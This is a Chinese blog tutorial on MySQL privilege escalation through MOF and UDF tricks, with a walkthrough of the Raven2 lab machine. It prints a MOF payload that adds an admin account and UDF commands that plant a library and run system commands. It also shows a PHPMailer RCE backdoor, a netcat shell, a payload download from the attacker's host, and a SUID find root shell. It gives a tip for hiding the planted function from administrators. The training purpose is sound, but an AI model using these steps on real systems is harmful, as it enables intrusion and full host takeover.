提权实战!
就是提升权限,当我们拿到一个shell权限较低,当满足MySQL提权的要求时,就可以进行这个提权。
MySQL数据库提权(Privilege Escalation)是指攻击者通过技术手段,从低权限的数据库用户提升到更高权限(如root
或管理员
),从而获得对数据库或操作系统的控制权。这种行为通常属于非法入侵,严重威胁数据安全。
1. MySQL提权必要条件
- 有root权限,以system权限运行
- 可以执行SQL语句
1.1. 获取root密码
- 查看数据库关键配置文件
关键字:config,coon,sql,data,inc,database
可以以SQLconnection为一个列子看看
在以inc为后缀的文件中MySQL的用户密码都在,这就是数据库关键文件
- 下载MySQL安装路径下的数据文件
(1)安装路径下的 data 目录中存放的是数据库的数据信息
(2)root 账号密码存储在 mysql 数据库下的 user 表中
(3)完整路径=安装路径+\data\mysql\user.MYD
这个就是当我们拿到shell后,找到MySQL安装路径,在MySQL中data文件的mysql文件夹中的user.MYD,
user.MYD文件中有密码,不过是经过MD5加密的,我们可以进行解码
打开如下图所示
去cmd5网站解密,🆗完成
- 暴力破解
2. MySQL 提权的方式
2.1. MOF 提权
原理
利用了 C:\Windows\System32\wbem\MOF 目录下的 nullevt.mof 文件,利用该文件每分钟会去执行一次的特性,向该文件中写入 cmd 命令,就会被执行。
条件
- 针对windows低系统,如xp,server2003.
- 需要对C:\Windows\System32\wbem\MOF目录具有读写权限。
- 找到目录写入mof文件。
2.1.1. 提权操作
1、在可写目录中上传 mof 文件。把 mof 文件上传到 C:/wmpub/nullevt.mof
2、把这个文件复制到 C:/Windows/System32/wbem/MOF/nullevt.mof 目录下 select load_file('C:/wmpub/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof'
将下面这段代码复制到 mof 后缀的文件中
# pragma namespace("\.\root\subscription")
instance of EventFilter as $EventFilter{ EventNamespace ="Root\Cimv2"; Name = "filtP2";
Query = "Select * From InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL"; };
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new
ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
把这个 mof 文件上传到目标机中,可以修改代码,进行命令执行。
目前 mof 提权方法用的比较少,建议使用 udf 脚本进行 MySQL 数据库提权
2.1.2. 应急措施
- 停止winmgmt服务:net stop winmgmt
- 将文件先备份,再删除文件夹:C:\Windows\System32\wbem\Repository
- 再启动winmgmt服务:net start winmgmt
2.2. UDF提权
原理
UDF(user defind funtion)用户自定义函数,通过添加新的函数,对数据库进行命令执行。
2.2.1. 收集信息
进行udf提权是有条件的,符合条件方可进行
select version();
获取数据库版本select user();
获取数据库用户名,因为我们 要拥有最高权限第一标题说过select @@basedir;
获取数据库安装目录show variables like '%plugin%';
查看 plugin 路径
2.2.2. Windows-udf提权
UDF可以理解为MySQL的函数库,用来放一些新的函数(自定义函数)。
在符合MySQL的语法情况下,可以调用UDF文件中的函数,
利用这一特性,我们可以上传一个恶意的udf文件(主要功能:执行命令 udf.dll),使MySQL调用dll中的函数实现某些功能(MySQL本身不能执行命令)。
2.2.2.1. 条件
- MySQL版本>5.1
udf.dll文件必须放在MySQL安装目录的 MySQL\Lib\Plugin\文件夹下,该目录默认是不存在的,需要使用 webshell 找到 mysql 的安装目录,并在安装目录下创建 MySQL\Lib\Plugin\文件夹,(当我们创建完后,还可使用4指令查看是否成功)然后将 udf.dll 导入到该 目录。(后面工具使用情况下也是一样的,需将文件夹创建好才可以将udf.dll文件导入)
- MySQL版本<5.1
udf.dll 文件在 windows server 2003 下放置于 c:/windows/system32/目录,在 windows server 2000 下放置在 c:/winnt/system32/目录。掌握 mysql 数据库的 root 账户,从而拥有对 mysql 的 insert 和 delete 权限,以创建和抛弃函数。
2.2.2.2. 提权步骤
对于数据库的写入文件什么的,会有一个 secure_file_priv 函数,该函数是用来限制读写的,它具有三种方式:同时在学习笔记的数据库提权数据库权限获取中手写木马也有涉及
1、secure_file_priv 的值为 NULL,表示限制 mysql 不允许导入|导出
2、当 secure_file_priv 的值为/tmp/ ,表示限制 mysql 的导入|导出只能发生在/tmp/目录 下(其他目录也可以)
3、当 secure_file_priv 的值没有具体值时,表示不对 mysql 的导入|导出做限制
打开虚拟机,首先对secure_file_priv 设置为空,只有为空时才能不对MySQL的输入和输出有限制
2.2.2.2.1. DLL 文件的获取方法:
在 sqlmap/data/udf/mysql 目录下,在 Windows 目录中有 32 位和 64 位的 dll 文件 (MySQL 位数)。
1,解码 将这个被sqlmap加密的dll文件进行解码
文件夹中的 dll 文件是通过异或编码的,可以使用 sqlmap/extract/cloak.py 进行解码
python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_
2,通过loadfile加载刚刚解码的内容, 将解码的内容写入到 lib/plugin 中
将解码后的 DLL 文件(包含用户自定义函数的 DLL 文件)上传到可写目录,再导入 到 MySQL\lib\plugin\中
select LOAD_FILE('C:/可写目录/lib_mysqludf_sys.dll') into dumpfile 'C:/phpStudy2016/MySQL/lib/plugin/lib_mysqludf_sys.dll';
将 DLL 中的函数引入到 MySQL 数据库中
3,创建自定义函数
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
创建名为 sys_eval 的函数,返回值为 string 类型,调用的文件是 lib_mysqludf_sys.dll
注意:需要创建.dll 文件中存在的函数,可以使用十六进制编辑器打开.dll 文件,查看可以被创建的函数。
使用该函数去执行系统命令提权
查看当前用户权限
select sys_eval("whoami");
创建账号并提升为管理员权限
select sys_eval("net user winhex passw@ord /add");
select sys_eval("net localgroup administrators winhex /add");
将之前引入的函数删除掉防止被管理员发现,防止其他攻击者使用
drop function sys_eval; delete from mysql.func where name='sys_eval';
2.2.2.2.2. 工具使用UDF提权
由于我电脑Java环境不适用于该工具,所以使用另外一个Java版本,启动该工具要在Java文档的bin文档使用命令行,方可使用。
右键新增添加,如图所示:
当MySQL存在\Lib\Plugin\ 时工具导入成功
创建文件如下图
查看当前用户权限
select sys_eval("whoami");
发现具有回应,说明函数eval创建成功
2.2.3. Linux-udf提权
- 通过自定义函数来实现任何命令
- 包含自定义函数的文件为 .so 文件
2.2.3.1. 利用条件
•在 my.ini 的[mysqld]下,添加 secure_file_priv="",不限制导入导出路径
•具有数据库 root 账户的密码,且 mysql 数据库以 root 权限运行
•具有 sql 语句的执行权限(一般都具有)
•导出目录可写( secure_file_priv 函数)
•系统中的 selinux 处于关闭状态
2.2.3.2. 提权步骤
- 查找插件库的路径
show variables like '%plugin%';
使我们找到 plugin ,因为我们需要将后续创建的函数导入该文件夹中,上面说过udf解码后的文件必须在该文件夹中才可以使用
找到对应操作系统数据库的 UDF 库文件
sqlmap-master\data\udf\mysql\linux\64 下的 lib_mysqludf_sys.so_文件
将 so 文件(UDF 库文件)进行 16 进制编码
将 so 文件的内容解码,写入到 mysql 插件库目录中
select unhex('so 文件的 16 进制编码') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'
查看 udf 库所支持的函数
注意:需要创建.so 文件中存在的函数,可以使用十六进制编辑器打开.so 文件,查看可以被创建的函数。
创建函数
写入之后,执行创建函数的命令,就会创建一个 sys_eval 的函数,用来执行系统命 令,这个函数执行的系统命令全部都是 system 权限。
create function sys_eval returns string soname 'xxx.so';
执行系统命令,提权
sys_eval 这个函数就可以执行系统命令,括号里输入系统命令即可。
查看当前用户权限
select sys_eval("whoami");
创建账号并提升为管理员权限不需要判断 mysql 的版本,直接查看路径,直接写 so 文件,Linux 里面的文件是 so 文 件。
getshell 之后,在终端输入 whoami,发现只是 apache 用户权限。寻找网站的数据库配置文件,查看数据库的账号密码,可以看到账号 root 密码 root。登录 mysql 数据库,输入 show variables like '%plugin%';查看 plugin 路径。得到的结果为:
我们把 so 文件进行 16 进制编码,再解码写入目录中,返回为 true,写入成功。
select unhex('so 文件的 16 进制编码') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'
写入之后,执行创建函数的命令,就会创建一个 sys_eval 的函数,用来执行系统命 令,这个函数执行的系统命令全部都是 system 权限。 create function sys_eval returns string soname 'xxx.so'; sys_eval 这个函数就可以执行系统命令,括号里输入系统命令即可。
select sys_eval('whoami')
3. UDF提权实战
使用虚拟机中的kali,再开启靶机Raven2
靶机介绍:
靶场地址:https://www.vulnhub.com/entry/raven-2,269/靶机描述:Raven 2 是一个中级 boot2root VM。有 4 个 flag 要捕获。
目标:获取到四个 flag
3.1. 准备工作
事先我们的kali和raven要处于同一个网段,这样就可以使用工具 namp 获取靶机的IP地址进行访问
ifconfig
Linux中查询IP
kali IP地址:192.168.119.128
使用nmap获取靶机IP,使用arp-scan也可以
nmap -sP 192.168.119.1/24
arp-scan -l
发现使用arp-scan扫描出了D段为133的IP地址,并没有扫出128的
所以大概率靶机的IP为:192.168.119.133
再使用nmap探测IP开放的端口
nmap -sV -p- 192.168.119.133
3.2. 进行访问并查找flag
浏览器访问该地址:192.168.119.133/80
当然可以不需要端口,因为HTTP服务端口本来就是80
接下来使用dirb爆破网站的子目录,看看能不能获取一些版本信息
dirb http://192.168.119.133:80
它扫描出来许多的分站,从一级目录开始扫
我们可以对这些进行访问选中 /vendor 目录
当我们打开第一个文件,发现是一篇阅读文件,没找到什么
打开PATH文件,找到第一个flag->flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
在readme.md文件发现PHPmailer 插件 是一个漏洞
再打开下面的version文件可以看到PHPmailer 插件的版本为 5.2.16
3.2.1. 漏洞利用
现在使用searchsploit查询是否有这个版本的exp
- “exp”是“exploit”的缩写,意为漏洞利用代码。在安全领域,它特指针对特定漏洞编写的攻击程序或脚本,用于触发漏洞、获取系统权限或执行其他恶意操作。
- PHPMailer:一个PHP邮件库,历史版本中存在已知漏洞。
- searchsploit:用户提到的命令应为
searchsploit
(Exploit-DB的搜索工具),用于查询公开的漏洞利用代码(exp)。
searchsploit PHPMailer
本版本是 5.2.16 ,找到最近的python脚本
3.2.2. 确定漏洞利用脚本地址
3.2.2.1. 法 一
使用 -p
参数显示单个条目的完整路径
如果已知漏洞编号或相对路径(例如 php/webapps/40974.py
),可直接运行:
searchsploit -p php/webapps/40974.py
输出示例:
Exploit: PHPMailer < 5.2.18 - Remote Code ExecutionURL: https://www.exploit-db.com/exploits/40974Path: /usr/share/exploitdb/exploits/php/webapps/40974.py
3.2.2.2. 法二
Python攻击脚本的地址是通过以下步骤确定的:
使用searchsploit
搜索漏洞:
执行命令 searchsploit PHPMailer
,工具会列出所有匹配的漏洞利用脚本及其路径。例如:
- php/webapps/40974.py PHPMailer < 5.2.18 - Remote Code Execution
- 拼接完整路径:
searchsploit
的本地数据库默认安装在/usr/share/exploitdb/
,因此脚本的完整路径为:
/usr/share/exploitdb/exploits/php/webapps/40974.py
复制脚本到目标目录:
使用 cp
命令将脚本复制到指定位置(如 /root
):
- cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root
关键点:
searchsploit
输出的路径是相对于本地漏洞库根目录(/usr/share/exploitdb/
)的。- 复制时需要补全完整路径,格式为:
/usr/share/exploitdb/exploits/[分类]/[子目录]/[脚本名]
。
将脚本复制出来
cp /usr/share/exploitdb/exploits/php/webapps/40974.py
/root
然后cat指令打开该文件对该脚本进行配置修改
3.2.3. vim编辑脚本
开启了40974.py这一个python脚本,使用它向网址写入一个后门文件
- vim 编辑文本 vim 40974.py
按i进入编辑
使用红线标记的都为需要更改的
目标IP下一个修改为任意的PHP文件名
注:目标网址路径一定要正确
目标路径在获得第一个flag时有,将该地址修改上去
更改好如下图所示,再先按Esc :wq 保存退出
现在信息已经完毕,接下来使用python3运行该脚本,运行成功的标志为 [+]
运行成功,成功在目录正生成shell文件
保存后退出,这个存在漏洞的网页是在contact.php里,运行这个攻击文件会自动在网站根目录下面生成一个后门文件best.php
3.2.4. 对网址进行命令操作
- 建立监听
nc -lvp 9999
----->9999为我的端口
注意:我这种现象属于当时vim编辑脚本的时候出现了问题,我把我的kali地址打错了导致错误,找出错误花了一分钟
将我的IP改正确
再次进行监听,并且访问之前创建的文件
发现还是监听不了,仔细观察脚本代码是否有哪里错误,发现路径多了一层vendor
改回来后,在访问best.php,监听成功!!!!
返回成功获得shell
python -c 'import pty; pty.spawn("/bin/bash")'
使用该条命令获取交互式 shell ,让我们更方便操作
接着我们尝试使用 find 查找 flag 文件
find / -name flag*
找了许多文件,慢慢找
直接在kail中找
/var/www/flag2.txt
找到
因为flag3是图片类型,所以使用网址去看
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
接下来还有一个flag4,肯定在以下目录中。找根目录
ls wordpress 打开这个,查看配置文件,因为我们需要拿到MySQL权限用来查找flag
关键字:config,coon,sql,data,inc,database
cd wordpress :切换至该目录
cat wp-config.php 打开该文件
打开文件后发现是MySQL文件,文件中还有MySQL账号密码
username:root
password:R@v3nSecurity
然后就是登入这个数据库了
mysql -u root -pR@v3nSecurity
直接登入数据库
3.3. 对数据库进行udf提权
由于 MySQL 支持 UDF,支持我们自定义函数来扩展功能。当我们创建带有调用 cmd 函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入 Mysql 时, 其中的调用函数拿出来当作 mysql 的函数使用。
提权条件
1)mysql 数据库的 root 权限
2)secure_file_priv 的值为空
3)如果 mysql 版本大于 5.1,udf.dll 文件必须放置在 mysql 安装目录的 lib\plugin 文件夹下
4)如果 mysql 版本小于 5.1, udf.dll 文件在 windows server 2003 下放置于 c:\windows\system32 目录,在 windows server 2000 下放置在 c:\winnt\system32 目录。查看权限 SHOW GRANTS;
3.3.1. 流程
- 查看目前权限
show grants;
- 查看数据库版本,一定要是大写的,因为小写的试过了
Select @@version();
版本大于5.1,因此我们接下来要创建文件
- 再查看secure_file_priv 的值符不符合条件
show global variables like 'secure%';
符合条件,MySQL版本大于5.1,所以要把udf这个文件放置在MySQL安装目录lib\plugin文件下才能创建自定义函数。
- 使用kali漏洞库搜索udf
这里使用1518.c 将1518.c下载到本地,再cp到root目录下
searchsploit udf
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root
- 接下来将下载好的文件解码
先执行 gcc -g -c 1518.c
再执行 gcc -g -shared -o test.so 1518.o -lc
命令解释
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c 库名
- 导入靶机tmp目录
tmp目录:
tmp
目录通常权限宽松,需防范恶意文件注入(如木马、脚本)。- 可以利用开启kali本地HTTP服务,让靶机下载kali中test.so到靶机的tmp目录
在kali中开启http服务
python3 -m http.server 80
在shell中启动下载test.so文件
wget http://192.168.119.128/test.so
当我们总是连接不上的时候,应该是IP地址更改了
下载成功
- 登入数据库创建自定义函数
使用mysql库,创建数据表test
use mysql;
create table test(line blob);
创建如图所示
- 将test.so文件插入
insert into test values(load_file('/tmp/test.so'));
插入数据
检查是否插入成功:select * from test into dumpfile '/usr/lib/mysql/plugin/test.so';
#( test 表成功插入二进制数据,然后利用 dumpfile 函数把文件导出 outfile 多行导出,dumpfile 一行导出 outfile 会有特殊的转换,而 dumpfile 是原数据导出新建存储函数)
- 创建自定义函数
create function do_system returns integer soname 'test.so';
#(创建自定义函数 do_system 类型是 integer,别名 soname 文件名字然后查询函数是否创建成功)
select * from mysql.func;
查询函数是否创建成功
select do_system('chmod u+s /usr/bin/find');
#(调用 do_system 函数来给 find 命令所有者的 suid 权限,使其可以执行 root 命令)
- 提权操作
退出 mysql,使用/usr/bin/find 提权
提权之前的权限如下图
进行提权
touch test
find test -exec "/bin/sh" \;
成功提权为 root 权限
- 拿到第四个flag
进入root目录拿第四个flag
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
相关文章:
提权实战!
就是提升权限,当我们拿到一个shell权限较低,当满足MySQL提权的要求时,就可以进行这个提权。 MySQL数据库提权(Privilege Escalation)是指攻击者通过技术手段,从低权限的数据库用户提升到更高权限ÿ…...
单双线程的理解 和 lua基础语法
1.什么是单进程 ,什么是多进程 当一个程序开始运行时,它就是一个进程,进程包括运行中的程序和程序所使用到的内存和系统资源。而一个进程又是由单个或多个线程所组成的。 1.1 像apache nginx 这类 服务器中间件就是多进程的软件 ࿰…...
深度学习(对抗)
数据预处理:像素标记与归一化 在 GAN 里,图像的确会被分解成一个个像素点来处理。在你的代码里,transform transforms.Compose([transforms.ToTensor(), transforms.Normalize((0.5,), (0.5,))]) 这部分对图像进行了预处理: tra…...
【NLP】 18. Tokenlisation 分词 BPE, WordPiece, Unigram/SentencePiece
1. 翻译系统性能评价方法 在机器翻译系统性能评估中,通常既有人工评价也有自动评价方法: 1.1 人工评价 人工评价主要关注以下几点: 流利度(Fluency): 判断翻译结果是否符合目标语言的语法和习惯。充分性…...
详解MYSQL表空间
目录 表空间文件 表空间文件结构 行格式 Compact 行格式 变长字段列表 NULL值列表 记录头信息 列数据 溢出页 数据页 当我们使用MYSQL存储数据时,数据是如何被组织起来的?索引又是如何组织的?在本文我们将会解答这些问题。 表空间文…...
lwip移植基于freertos(w5500以太网芯片)
目录 一、背景二、lwip移植基于w5500(MACPHY,数据链路层和物理层)1.移植需要的相关文件2、协议栈层级调用3、w5500关键初始化说明 三、附录 一、背景 1.OSI七层模型 图片来自网络 lwip协议栈工作在应用层、传输层、网络层; 网卡…...
【TI MSPM0】IQMath库学习
一、与DSP库的区别 二、IQMath库详解 RTS是靠纯软件实现的,而MathACL是靠硬件加速,速度更快 三、工程详解 1.导入工程 2.样例详解 使用一系列的运算来展示IQMath库,使用的是MathACL实现版本的IQMath库 编译加载运行,结果变量叫…...
51单片机 光敏电阻5506与ADC0832驱动程序
电路图 5506光敏电阻光强增加电阻值减小 以上电路实测无光时电压1.5v 有光且较亮时电压2.7v。 转换程序和ADC0832程序如下 // ADC0832引脚定义 sbit ADC_CS P1^2; // 片选信号 sbit ADC_CLK P1^0; // 时钟信号 sbit ADC_DIO P1^1; // 数据线// 获取电压值 - 返回c…...
【Linux】进程创建、进程终止、进程等待
Linux 1.进程创建1.fork 函数2.写时拷贝3.为什么要有写时拷贝? 2.进程终止1.进程退出场景2.退出码3.进程常见退出方法1.main函数return2.exit库函数3._exit系统调用 3.进程等待1.概念2.必要性3.方法1.wait2.waitpid3.参数status4.参数option5.非阻塞轮询 1.进程创建…...
ReliefF 的原理
🌟 ReliefF 是什么? ReliefF 是一种“基于邻居差异”的特征选择方法,用来评估每个特征对分类任务的贡献大小。 它的核心问题是: “我怎么知道某个特征是不是重要?是不是有能力把不同类别的数据区分开?” 而…...
C++ 数据结构之图:从理论到实践
一、图的基本概念 1.1 图的定义与组成 图(Graph)由顶点(Vertex)和边(Edge)组成,形式化定义为: G (V, E) 顶点集合 V:表示实体(如城市、用户) …...
机器学习(5)——支持向量机
1. 支持向量机(SVM)是什么? 支持向量机(SVM,Support Vector Machine)是一种监督学习算法,广泛应用于分类和回归问题,尤其适用于高维数据的分类。其核心思想是寻找最优分类超平面&am…...
C++学习之使用OPENSSL加解密
目录 1.知识点概述 2.哈希的特点和常用哈希算法散列值长度 3.Linux下openss相关的安装问题 4.md5 api 5.其他哈希算法使用 6.sha1测试 7.哈希值的封装 8.非对称加密特点和应用场景 9.生成密钥对-rsa 10.在内存中生成rsa密钥对-代码 11.将密钥对写入磁盘 12.使用bio方…...
markdown导出PDF,PDF生成目录
1、vscode中安装markdown插件,将编辑的文件导出PDF。 2、安装PDF Guru Anki软件 百度网盘:通过网盘分享的文件:PDFGuruAnki 链接: https://pan.baidu.com/s/1nU6avM7NUowhEn1FNZQKkA 提取码: aues PDF中不同的标题需要通过矩形框标注差异&a…...
Node.js中Stream模块详解
Node.js 中 Stream 模块全部 API 详解 一、Stream 基础概念 const { Stream } require(stream);// 1. Stream 类型 // - Readable: 可读流 // - Writable: 可写流 // - Duplex: 双工流 // - Transform: 转换流// 2. Stream 事件 // - data: 数据可读时触发 // - end: 数据读…...
Swift的学习笔记(一)
Swift的学习笔记(一) 文章目录 Swift的学习笔记(一)元组基本语法1. **创建元组**2. **访问元组的值**3. **命名的元组**4. **解构元组**5. **忽略某些值** 可选值类型定义 OptionalOptional 的基本使用1. **给 Optional 赋值和取值…...
3.4 函数单调性与曲线的凹凸性
1.函数单调性的定义 1.1.判别法 2.函数凹凸性 2.1 判别法...
随机森林优化 —— 理论、案例与交互式 GUI 实现
目录 随机森林优化 —— 理论、案例与交互式 GUI 实现一、引言二、随机森林基本原理与超参数介绍2.1 随机森林概述2.2 随机森林中的关键超参数 三、随机森林优化的必要性与挑战3.1 优化的重要性3.2 调优方法的挑战 四、常见的随机森林优化策略4.1 网格搜索(Grid Sea…...
Pytorch深度学习框架60天进阶学习计划 - 第41天:生成对抗网络进阶(一)
Pytorch深度学习框架60天进阶学习计划 - 第41天:生成对抗网络进阶(一) 今天我们将深入探讨生成对抗网络(GAN)的进阶内容,特别是Wasserstein GAN(WGAN)的梯度惩罚机制,以及条件生成与无监督生成…...
62. 不同路径
前言 本篇文章来自leedcode,是博主的学习算法的笔记心得。 如果觉得对你有帮助,可以点点关注,点点赞,谢谢你! 题目链接 62. 不同路径 - 力扣(LeetCode) 题目描述 思路 1.如果m1或者n1就只…...
使用Apache POI实现Java操作Office文件:从Excel、Word到PPT模板写入
在企业级开发中,自动化处理Office文件(如Excel报表生成、Word文档模板填充、PPT批量制作)是常见需求。Apache POI作为Java领域最成熟的Office文件操作库,提供了一套完整的解决方案。本文将通过实战代码,详细讲解如何使…...
基于 RabbitMQ 优先级队列的订阅推送服务详细设计方案
基于 RabbitMQ 优先级队列的订阅推送服务详细设计方案 一、架构设计 分层架构: 订阅管理层(Spring Boot)消息分发层(RabbitMQ Cluster)推送执行层(Spring Cloud Stream)数据存储层(Redis + MySQL)核心组件: +-------------------+ +-------------------+ …...
设计模式(8)——SOLID原则之依赖倒置原则
设计模式(7)——SOLID原则之依赖倒置原则 概念使用示例 概念 高层次的类不应该依赖于低层次的类。两者都应该依赖于抽象接口。抽象接口不应依赖于具体实现。具体实现应该依赖于抽象接口。 底层次类:实现基础操作的类(如磁盘操作…...
oracle COUNT(1) 和 COUNT(*)
在 Oracle 数据库中,COUNT(1) 和 COUNT(*) 都用于统计表中的行数,但它们的语义和性能表现存在一些细微区别。 1. 语义区别 COUNT(*) 统计表中所有行的数量,包括所有列值为 NULL 的行。它直接针对表的行进行计数,不关心具体列的值…...
理想汽车MindVLA自动驾驶架构核心技术梳理
理想汽车于2025年3月发布的MindVLA自动驾驶架构,通过整合视觉、语言与行为智能,重新定义了自动驾驶系统的技术范式。以下是其核心技术实现的详细梳理: 一、架构设计:三位一体的智能融合 VLA统一模型架构 MindVLA并非简单的端到端模…...
基于FPGA的智能垃圾桶设计-超声波测距模块-人体感应模块-舵机模块 仿真通过
基于FPGA的智能垃圾桶设计 前言一、整体方案二、仿真波形总结 前言 在FPGA开发平台中搭建完整的硬件控制系统,集成超声波测距模块、人体感应电路、舵机驱动模块及报警单元。在感知层配置阶段,优化超声波回波信号调理电路与人体感应防误触逻辑࿰…...
[极客大挑战 2019]Upload
<script language"php">eval($_POST[shell]);</script> <script language"php">#这里写PHP代码哟! </script> BM <script language"php">eval($_POST[shell]);</script>GIF89a <…...
操作系统基础:05 系统调用实现
一、系统调用概述 上节课讲解了系统调用的概念,系统调用是操作系统给上层应用提供的接口,表现为一些函数,如open、read、write 等。上层应用程序通过调用这些函数进入操作系统,使用操作系统功能,就像插座一样…...
“堆积木”式话云原生微服务架构(第一回)
模块1:文章目录 目录 1. 云原生架构核心概念 2. Java微服务技术选型 3. Kubernetes与服务网格实战 4. 全链路监控与日志体系 5. 安全防护与性能优化 6. 行业案例与未来演进 7. 学习路径与资源指引 8. 下期预告与扩展阅读 模块2:云原生架构核心概念 核…...
Java 性能优化:从原理到实践的全面指南
性能优化是 Java 开发中不可或缺的一环,尤其在高并发、大数据和分布式系统场景下,优化直接影响系统响应速度、资源利用率和用户体验。Java 作为一门成熟的语言,提供了丰富的工具和机制支持性能调优,但优化需要深入理解 JVM、并发模…...
基于ssm网络游戏推荐系统(源码+lw+部署文档+讲解),源码可白嫖!
摘要 当今社会进入了科技进步、经济社会快速发展的新时代。国际信息和学术交流也不断加强,计算机技术对经济社会发展和人民生活改善的影响也日益突出,人类的生存和思考方式也产生了变化。传统网络游戏管理采取了人工的管理方法,但这种管理方…...
HTTP:五.WEB服务器
web服务器 定义:实现提供资源或应答的提供者都可以谓之为服务器!web服务器工作内容 接受建立连接请求 接受请求 处理请求 访问报文中指定的资源 构建响应 发送响应 记录事务处理过程 Web应用开发用到的一般技术元素 静态元素:html, img,js,Css,SWF,MP4 动态元素:PHP,…...
synchronized轻量级锁的自旋之谜:Java为何在临界区“空转“等待?
从餐厅等位理解自旋锁的智慧 想象两家不同的餐厅: 传统餐厅:没座位时顾客去逛街(线程挂起,上下文切换)网红餐厅:没座位时顾客在门口短时间徘徊(线程自旋,避免切换) Ja…...
基于redis 实现我的收藏功能优化详细设计方案
基于redis 实现我的收藏功能优化详细设计方案 一、架构设计 +---------------------+ +---------------------+ | 客户端请求 | | 数据存储层 | | (收藏列表查询) | | (Redis Cluster) | +-------------------…...
【深度学习与大模型基础】第10章-期望、方差和协方差
一、期望 ——————————————————————————————————————————— 1. 期望是什么? 期望(Expectation)可以理解为“长期的平均值”。比如: 掷骰子:一个6面骰子的点数是1~6&#x…...
JavaScript 性能优化实战:深入探讨 JavaScript 性能瓶颈,分享优化技巧与最佳实践
在当今 Web 应用日益复杂的时代,JavaScript 性能对于用户体验起着决定性作用。缓慢的脚本执行会导致页面加载延迟、交互卡顿,严重影响用户留存率。本文将深入剖析 JavaScript 性能瓶颈,并分享一系列实用的优化技巧与最佳实践,助你…...
上篇:《排序算法的奇妙世界:如何让数据井然有序?》
个人主页:strive-debug 排序算法精讲:从理论到实践 一、排序概念及应用 1.1 基本概念 **排序**:将一组记录按照特定关键字(如数值大小)进行递增或递减排列的操作。 1.2 常见排序算法分类 - **简单低效型**ÿ…...
目前状况下,计算机和人工智能是什么关系?
目录 一、计算机和人工智能的关系 (一)从学科发展角度看 计算机是基础 人工智能是计算机的延伸和拓展 (二)从技术应用角度看 二、计算机系学生对人工智能的了解程度 (一)基础层面的了解 必备知识 …...
【复旦微FM33 MCU 底层开发指南】高级定时器ATIM
0 前言 本系列基于复旦微FM33LC0系列MCU的DataSheet编写,提供基于寄存器开发指南、应用技巧、注意事项等 本文章及本系列其他文章将持续更新,本系列其它文章请跳转↓↓↓ 【复旦微FM33 MCU 寄存器开发指南】总集篇 本文章最后更新日期:2025…...
vdso概念及原理,vdso_fault缺页异常,vdso符号的获取
一、背景 vdso的全称是Virtual Dynamic Shared Object,它是一个特殊的共享库,是在编译内核时生成,并在内核镜像里某一段地址段作为该共享库的内容。vdso的前身是vsyscall,为了兼容一些旧的程序,x86上还是默认加载了vs…...
4.13学习总结
学习完异常和文件的基本知识 完成45. 跳跃游戏 II - 力扣(LeetCode)的算法题,对于我来说,用贪心的思路去写该题是很难理解的,很难想到,理解了许久,也卡了很久。...
Day14:关于MySQL的索引——创、查、删
前言:先创建一个练习的数据库和数据 1.创建数据库并创建数据表的基本结构 -- 创建练习数据库 CREATE DATABASE index_practice; USE index_practice;-- 创建基础表(包含CREATE TABLE时创建索引) CREATE TABLE products (id INT PRIMARY KEY…...
概率论与数理统计核心知识点与公式总结(就业版)
文章目录 概率论与数理统计核心知识点与公式总结(附实际应用)一、概率论基础1.1 基本概念1.2 条件概率与独立性 二、随机变量及其分布2.0 随机变量2.0 分布函数(CDF)2.1 离散型随机变量2.2 连续型随机变量2.3 多维随机变量2.3.1 联…...
AF3 ProteinDataset类的_patch方法解读
AlphaFold3 protein_dataset模块 ProteinDataset 类 _patch 方法的主要目的是围绕锚点残基(anchor residues)裁剪蛋白质数据,提取一个局部补丁(patch)作为模型输入。 源代码: def _patch(self, data):"""Cut the data around the anchor residues."…...
openssh 10.0在debian、ubuntu编译安装 —— 筑梦之路
OpenSSH 10.0 发布:一场安全与未来兼顾的大升级 - Linux迷 OpenSSH: Release Notes sudo apt-get updatesudo apt install build-essential zlib1g-dev libssl-dev libpam0g-dev libselinux1-devwget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/opens…...
Go 跨域中间件实现指南:优雅解决 CORS 问题
在开发基于 Web 的 API 时,尤其是前后端分离项目,**跨域问题(CORS)**是前端开发人员经常遇到的“拦路虎”。本文将带你了解什么是跨域、如何在 Go 中优雅地实现一个跨域中间件,支持你自己的 HTTP 服务或框架如 net/htt…...
【数据结构_6】双向链表的实现
一、实现MyDLinkedList(双向链表) package LinkedList;public class MyDLinkedList {//首先我们要创建节点(因为双向链表和单向链表的节点不一样!!)static class Node{public String val;public Node prev…...
【双指针】专题:LeetCode 1089题解——复写零
复写零 一、题目链接二、题目三、算法原理1、先找到最后一个要复写的数——双指针算法1.5、处理一下边界情况2、“从后向前”完成复写操作 四、编写代码五、时间复杂度和空间复杂度 一、题目链接 复写零 二、题目 三、算法原理 解法:双指针算法 先根据“异地”操…...
Foxmail邮件客户端跨站脚本攻击漏洞(CNVD-2025-06036)技术分析
Foxmail邮件客户端跨站脚本攻击漏洞(CNVD-2025-06036)技术分析 漏洞背景 漏洞编号:CNVD-2025-06036 CVE编号:待分配 厂商:腾讯Foxmail 影响版本:Foxmail < 7.2.25 漏洞类型&#x…...
39.[前端开发-JavaScript高级]Day04-函数增强-argument-额外知识-对象增强
